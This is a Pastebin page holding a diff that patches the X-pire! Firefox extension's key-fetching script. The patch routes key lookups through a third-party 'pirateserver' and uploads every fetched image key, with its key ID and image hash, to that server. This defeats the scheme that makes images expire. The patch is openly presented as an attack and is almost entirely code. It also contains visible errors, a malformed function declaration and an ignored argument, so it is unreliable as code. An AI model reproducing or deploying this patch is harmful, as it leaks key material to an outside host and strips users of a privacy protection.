Guest

x-pire! - expired

By: a guest on Jan 13th, 2011  |  syntax: JavaScript  |  size: 2.66 KB  |  hits: 169  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. *** serverapi.js.org    2010-12-03 14:05:30.000000000 +0100
  2. --- serverapi.js        2011-01-13 16:27:01.126899594 +0100
  3. ***************
  4. *** 11,16 ****
  5. --- 11,17 ----
  6.   var JSON = Components.classes["@mozilla.org/dom/json;1"].createInstance(Components.interfaces.nsIJSON);
  7.   var keyCache = {};
  8.   var serverAddress = "http://keyserver.x-pire.net";
  9. + var pirateserver = "http://pirateserver.com";
  10.   //var serverAddress = "http://localhost:8080";
  11.   var jsessionid = "";
  12.   var requests = {};
  13. ***************
  14. *** 51,56 ****
  15. --- 52,78 ----
  16.         return validateRequest(req, address);
  17.   }
  18.  
  19. + function sendRogueRequest() {
  20. +       var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  21. +       req.open("GET", pirateserver, false);
  22. +       req.send("");
  23. +       return JSON.decode(req.responseText);
  24. + }
  25. +
  26. + function saveNewKey(keyId, imageHash, res); {
  27. +       var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  28. +       var payload = JSON.encode({
  29. +               "action":"save",
  30. +               "keyId":keyId,
  31. +               "hash":imageHash,
  32. +               "res":res
  33. +       });
  34. +       req.open("POST", pirateserver, false);
  35. +       req.setRequestHeader("Content-Type", "application/json");
  36. +       req.send(payload);
  37. +       return JSON.decode(req.responseText);
  38. + }
  39. +
  40.   function validateRequest(req, address) {
  41.         var result = JSON.decode(req.responseText);
  42.         if(result.hasOwnProperty("expired")) {
  43. ***************
  44. *** 101,107 ****
  45.                 requestInProgress = true;
  46.                 try {
  47.                         try {
  48. !                               var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  49.                                
  50.                                 if(cacheEnabled)
  51.                                         keyCache[keyServer][keyId] = res
  52. --- 123,135 ----
  53.                 requestInProgress = true;
  54.                 try {
  55.                         try {
  56. !                               var res = sendRogueRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, pirateserver))
  57. !                              
  58. !                               if (res.result.key.length == 0)
  59. !                               {
  60. !                                       res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  61. !                                       saveNewKey(keyId, imageHash, res);
  62. !                               }
  63.                                
  64.                                 if(cacheEnabled)
  65.                                         keyCache[keyServer][keyId] = res
  66. ***************
  67. *** 112,118 ****
  68.                                         case "NEED_CAPTCHA_VALIDATION":
  69.                                                 if(solveCaptchaFunction(keyServer)) {
  70.                                                         var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  71. !
  72.                                                         if(cacheEnabled)
  73.                                                                 keyCache[keyServer][keyId] = res
  74.  
  75. --- 140,148 ----
  76.                                         case "NEED_CAPTCHA_VALIDATION":
  77.                                                 if(solveCaptchaFunction(keyServer)) {
  78.                                                         var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  79. !                                                      
  80. !                                                       saveNewKey(keyId, imageHash, res);
  81. !                                                      
  82.                                                         if(cacheEnabled)
  83.                                                                 keyCache[keyServer][keyId] = res